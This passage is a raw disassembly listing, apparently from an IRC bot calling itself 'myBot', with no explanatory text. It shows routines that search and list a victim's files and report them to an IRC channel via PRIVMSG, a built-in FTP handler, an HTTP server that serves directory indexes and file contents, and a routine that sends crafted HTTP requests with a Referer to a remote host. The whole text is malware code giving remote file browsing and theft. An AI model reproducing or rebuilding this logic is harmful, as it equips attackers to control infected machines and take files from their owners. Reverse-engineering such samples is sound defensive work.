		call	sub_4045DD
		add	esp, 14h


loc_403032:				; CODE XREF: sub_402B1D+4F0j
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	short loc_403069
; ---------------------------------------------------------------------------


loc_403041:				; CODE XREF: sub_402B1D+4ACj
		push	0
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_403064
; ---------------------------------------------------------------------------


loc_40304C:				; CODE XREF: sub_402B1D+488j
		mov	ecx, eax
		mov	edi, offset aQuit ; "QUIT"
		lea	esi, [ebp+74h+var_AC]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_403069
		push	eax
		push	0Dh
		push	offset a221Goodbye_ ; "221 Goodbye.\n"


loc_403064:				; CODE XREF: sub_402B1D+25Fj
					; sub_402B1D+27Cj ...
		push	[ebp+74h+arg_0]
		call	ebx


loc_403069:				; CODE XREF: sub_402B1D+4B6j
					; sub_402B1D+522j ...
		mov	esi, [ebp+74h+arg_0]
		push	19h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_29C]
		rep stosd


loc_403079:				; CODE XREF: sub_402B1D+151j
					; sub_402B1D+179j ...
		inc	esi
		cmp	esi, [ebp+74h+var_4]
		mov	[ebp+74h+arg_0], esi
		jle	loc_402C4A


loc_403086:				; CODE XREF: sub_402B1D+127j
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		push	eax
		mov	eax, [ebp+74h+var_4]
		inc	eax
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		push	eax
		rep movsd
		call	ds:dword_41F1D8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_402C3C


loc_4030B7:				; CODE XREF: sub_402B1D+C9j
					; sub_402B1D+113j
		pop	edi
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_402B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C4	proc near		; CODE XREF: sub_4039DE+149p
					; sub_4078FA+355Dp

var_598		= byte ptr -598h
var_494		= byte ptr -494h
var_38C		= dword	ptr -38Ch
var_378		= byte ptr -378h
var_36C		= dword	ptr -36Ch
var_360		= byte ptr -360h
var_24C		= byte ptr -24Ch
var_4C		= byte ptr -4Ch
var_24		= byte ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 598h
		push	ebx
		push	esi
		push	edi
		push	41h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_598]
		rep stosd
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	offset asc_420328 ; "\n"
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_413859
		cmp	[ebp+arg_8], ebx
		pop	ecx
		pop	ecx
		jz	short loc_40311D
		push	edi
		push	[ebp+arg_8]
		mov	esi, 200h
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	loc_40323A
; ---------------------------------------------------------------------------


loc_40311D:				; CODE XREF: sub_4030C4+34j
		cmp	[ebp+arg_C], ebx
		jz	loc_40321F
		mov	eax, edi
		lea	ecx, [eax+1]


loc_40312B:				; CODE XREF: sub_4030C4+6Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40312B
		push	edi
		sub	eax, ecx
		and	[eax+edi-1], dl
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_40315C:				; CODE XREF: sub_4030C4+9Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40315C
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	ecx, [eax+1]


loc_403196:				; CODE XREF: sub_4030C4+D7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_403196
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		mov	eax, edi
		lea	ecx, [eax+1]


loc_4031B6:				; CODE XREF: sub_4030C4+F7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4031B6
		push	3Ch
		push	96h
		push	0E6h
		sub	eax, ecx
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		mov	byte ptr [eax+edi], 2Ah
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 18h
		lea	ecx, [eax+1]


loc_4031ED:				; CODE XREF: sub_4030C4+12Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4031ED
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40323A
; ---------------------------------------------------------------------------


loc_40321F:				; CODE XREF: sub_4030C4+5Cj
		push	edi
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		mov	esi, 200h
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 10h


loc_40323A:				; CODE XREF: sub_4030C4+54j
					; sub_4030C4+159j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_403243:				; CODE XREF: sub_4030C4+184j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403243
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	loc_4032ED
		lea	edx, [eax+1]


loc_40326C:				; CODE XREF: sub_4030C4+1ADj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40326C
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_4032ED
		mov	eax, [ebp+arg_C]
		lea	edx, [eax+1]


loc_403280:				; CODE XREF: sub_4030C4+1C1j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403280
		sub	eax, edx
		add	eax, 0FFFFFFFDh
		cmp	eax, ebx
		jz	short loc_40329C


loc_403290:				; CODE XREF: sub_4030C4+1D6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40329C
		dec	eax
		jnz	short loc_403290


loc_40329C:				; CODE XREF: sub_4030C4+1CAj
					; sub_4030C4+1D3j
		inc	eax
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_598]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_24C]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_4032D2:				; CODE XREF: sub_4030C4+213j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4032D2
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534


loc_4032ED:				; CODE XREF: sub_4030C4+19Fj
					; sub_4030C4+1B4j
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	ds:dword_41F054
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_41F050
		test	eax, eax
		jz	loc_40371A
		mov	ebx, 1FFh


loc_403319:				; CODE XREF: sub_4030C4+650j
		cmp	[ebp+var_38C], 0
		jz	loc_403702
		push	3
		mov	edi, offset a__	; ".."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_403702
		push	2
		mov	edi, offset a__0 ; "."
		lea	esi, [ebp+var_360]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_403702
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_378]
		push	eax
		call	ds:dword_41F04C
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	ds:dword_41F048
		mov	ax, [ebp+var_14]
		cmp	ax, 0Ch
		mov	ecx, offset aPm	; "PM"
		ja	loc_403417
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_403390:				; CODE XREF: sub_4030C4+359j
		push	ecx
		movzx	ecx, [ebp+var_12]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_412BB5
		add	esp, 20h
		xor	edi, edi
		test	byte ptr [ebp+var_38C],	10h
		jz	loc_403566
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], edi
		jz	short loc_403422
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 28h
		jmp	loc_4036CE
; ---------------------------------------------------------------------------


loc_403417:				; CODE XREF: sub_4030C4+2BEj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_403390
; ---------------------------------------------------------------------------


loc_403422:				; CODE XREF: sub_4030C4+308j
		cmp	[ebp+arg_C], edi
		jz	loc_403520
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_40344E:				; CODE XREF: sub_4030C4+38Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40344E
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS_1	; "%s%s/"
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_403491:				; CODE XREF: sub_4030C4+3D2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403491
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_4034B5:				; CODE XREF: sub_4030C4+3F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4034B5
		sub	eax, esi
		cmp	eax, 1Eh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_4034D7
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4034DC
; ---------------------------------------------------------------------------


loc_4034D7:				; CODE XREF: sub_4030C4+40Aj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4034DC:				; CODE XREF: sub_4030C4+411j
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4034EF:				; CODE XREF: sub_4030C4+430j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4034EF
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	ebx
		jmp	loc_4036BF
; ---------------------------------------------------------------------------


loc_403520:				; CODE XREF: sub_4030C4+361j
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40354D:				; CODE XREF: sub_4030C4+4CAj
		lea	eax, [ebp+var_24C]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 24h
		jmp	loc_4036CE
; ---------------------------------------------------------------------------


loc_403566:				; CODE XREF: sub_4030C4+2FCj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], edi
		jz	short loc_403590
		push	edi
		push	[ebp+var_36C]
		call	sub_402439
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40354D
; ---------------------------------------------------------------------------


loc_403590:				; CODE XREF: sub_4030C4+4A8j
		cmp	[ebp+arg_C], edi
		jz	loc_4036A4
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	esi, [eax+1]


loc_4035BC:				; CODE XREF: sub_4030C4+4FDj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4035BC
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_24C]
		push	offset aSS	; "%s%s"
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 14h
		lea	esi, [eax+1]


loc_4035FF:				; CODE XREF: sub_4030C4+540j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4035FF
		push	edi
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		lea	eax, [ebp+var_360]
		lea	esi, [eax+1]


loc_403623:				; CODE XREF: sub_4030C4+564j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403623
		sub	eax, esi
		cmp	eax, 1Fh
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_24C]
		jbe	short loc_403645
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40364A
; ---------------------------------------------------------------------------


loc_403645:				; CODE XREF: sub_4030C4+578j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40364A:				; CODE XREF: sub_4030C4+57Fj
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_24C]
		add	esp, 10h
		lea	edx, [eax+1]


loc_40365D:				; CODE XREF: sub_4030C4+59Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40365D
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		mov	eax, [ebp+var_36C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+var_4C]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_24C]
		push	ebx
		push	eax
		call	sub_412E0D
		add	esp, 1Ch
		jmp	short loc_4036CE
; ---------------------------------------------------------------------------


loc_4036A4:				; CODE XREF: sub_4030C4+4CFj
		push	[ebp+var_36C]
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	200h


loc_4036BF:				; CODE XREF: sub_4030C4+457j
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_412E0D
		add	esp, 18h


loc_4036CE:				; CODE XREF: sub_4030C4+34Ej
					; sub_4030C4+49Dj ...
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_4036D7:				; CODE XREF: sub_4030C4+618j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4036D7
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		cmp	[ebp+arg_8], edi
		jz	short loc_403702
		push	0FAh
		call	ds:dword_41F000


loc_403702:				; CODE XREF: sub_4030C4+25Cj
					; sub_4030C4+274j ...
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41F050
		test	eax, eax
		jnz	loc_403319


loc_40371A:				; CODE XREF: sub_4030C4+24Aj
		push	[ebp+var_C]
		call	ds:dword_41F044
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jz	short loc_40375F
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_402439
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_24C]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_40378D
; ---------------------------------------------------------------------------


loc_40375F:				; CODE XREF: sub_4030C4+664j
		cmp	[ebp+arg_C], esi
		lea	eax, [ebp+var_24C]
		jz	short loc_403779
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40378D
; ---------------------------------------------------------------------------


loc_403779:				; CODE XREF: sub_4030C4+6A4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_412BB5
		add	esp, 10h


loc_40378D:				; CODE XREF: sub_4030C4+699j
					; sub_4030C4+6B3j
		lea	eax, [ebp+var_24C]
		lea	edx, [eax+1]


loc_403796:				; CODE XREF: sub_4030C4+6D7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403796
		push	esi
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		push	[ebp+arg_4]
		call	dword_433534
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4030C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037B8	proc near		; CODE XREF: sub_4039DE+12Bp

var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	[ebp+var_4], 400h
		mov	[ebp+var_C], esi
		call	ds:dword_41F03C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403875
		push	esi
		push	ebx
		call	ds:dword_41F060
		mov	edx, eax
		cmp	edx, esi
		mov	[ebp+var_8], edx
		jz	short loc_40386E
		push	edi
		jmp	short loc_403806
; ---------------------------------------------------------------------------


loc_403803:				; CODE XREF: sub_4037B8+B3j
		mov	edx, [ebp+var_8]


loc_403806:				; CODE XREF: sub_4037B8+49j
		xor	eax, eax
		cmp	[ebp+var_4], edx
		mov	ecx, 100h
		lea	edi, [ebp+var_40C]
		rep stosd
		jbe	short loc_40381D
		mov	[ebp+var_4], edx


loc_40381D:				; CODE XREF: sub_4037B8+60j
		push	2
		push	esi
		neg	edx
		push	edx
		push	ebx
		call	ds:dword_41F05C
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	ebx
		call	ds:dword_41F058
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403868
		call	dword_433558
		cmp	eax, 2733h
		jnz	short loc_40386D
		xor	eax, eax


loc_403868:				; CODE XREF: sub_4037B8+9Fj
		sub	[ebp+var_8], eax
		jnz	short loc_403803


loc_40386D:				; CODE XREF: sub_4037B8+ACj
		pop	edi


loc_40386E:				; CODE XREF: sub_4037B8+46j
		push	ebx
		call	ds:dword_41F034


loc_403875:				; CODE XREF: sub_4037B8+31j
		pop	esi
		pop	ebx
		leave
		retn
sub_4037B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403879	proc near		; CODE XREF: sub_403B4C+182p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ecx, eax
		push	esi
		xor	esi, esi
		lea	edx, [ecx+1]


loc_403888:				; CODE XREF: sub_403879+14j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_403888
		sub	ecx, edx
		mov	[ebp+arg_0], ecx
		jz	short loc_4038B3


loc_403896:				; CODE XREF: sub_403879+38j
		cmp	byte ptr [esi+eax], 5Ch
		jnz	short loc_4038A0
		mov	byte ptr [esi+eax], 2Fh


loc_4038A0:				; CODE XREF: sub_403879+21j
		mov	ecx, eax
		inc	esi
		lea	edx, [ecx+1]


loc_4038A6:				; CODE XREF: sub_403879+32j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_4038A6
		sub	ecx, edx
		cmp	esi, ecx
		jb	short loc_403896


loc_4038B3:				; CODE XREF: sub_403879+1Bj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_403879	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038B7	proc near		; CODE XREF: sub_4078FA+4DC0p

var_4A4		= byte ptr -4A4h
var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A4h
		push	edi
		lea	eax, [ebp+var_4A4]
		push	eax
		push	101h
		call	dword_4334B0
		push	6
		push	1
		push	2
		call	dword_4334A0
		push	[ebp+arg_14]
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_14], 2
		call	dword_4335EC
		push	[ebp+arg_10]
		mov	[ebp+var_12], ax
		call	sub_406B1D
		pop	ecx
		mov	[ebp+var_10], eax
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403997
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jnz	short loc_40392A
		mov	eax, (offset asc_41FA74+2)


loc_40392A:				; CODE XREF: sub_4038B7+6Cj
		push	ebx
		push	esi
		push	[ebp+arg_10]
		mov	ebx, 100h
		push	eax
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_114]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	ebx
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_114]
		add	esp, 1Ch
		lea	esi, [eax+1]


loc_403959:				; CODE XREF: sub_4038B7+A7j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_403959
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		call	dword_433534
		push	40h
		pop	ecx
		push	0
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_4]
		xor	esi, esi
		lea	edi, [ebp+var_114]
		rep movsd
		call	dword_433414
		pop	esi
		pop	ebx


loc_403997:				; CODE XREF: sub_4038B7+65j
		push	[ebp+var_4]
		call	dword_4335AC
		call	dword_4335B8
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_412BB5
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		pop	edi
		jnz	short locret_4039DC
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h

locret_4039DC:				; CODE XREF: sub_4038B7+109j
		leave
		retn
sub_4038B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4039DE	proc near		; DATA XREF: sub_403B4C+24Eo

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	sub_412DD0
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+74h+var_3C8]
		push	eax
		lea	eax, [ebp+74h+var_550]
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_2C4]
		push	eax
		lea	eax, [ebp+74h+var_654]
		push	eax
		call	sub_412BB5
		xor	ebx, ebx
		add	esp, 10h
		cmp	[ebp+74h+var_A4], ebx
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_403A46
		push	offset aTextHtml ; "text/html"
		jmp	short loc_403A4B
; ---------------------------------------------------------------------------


loc_403A46:				; CODE XREF: sub_4039DE+5Fj
		push	offset aApplicationOct ; "application/octet-stream"


loc_403A4B:				; CODE XREF: sub_4039DE+66j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	ds:dword_41F068
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_41F064
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_403AB8
		push	eax
		lea	eax, [ebp+74h+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_412BB5
		add	esp, 24h
		jmp	short loc_403AD0
; ---------------------------------------------------------------------------


loc_403AB8:				; CODE XREF: sub_4039DE+C1j
		push	[ebp+74h+var_B8]
		push	eax
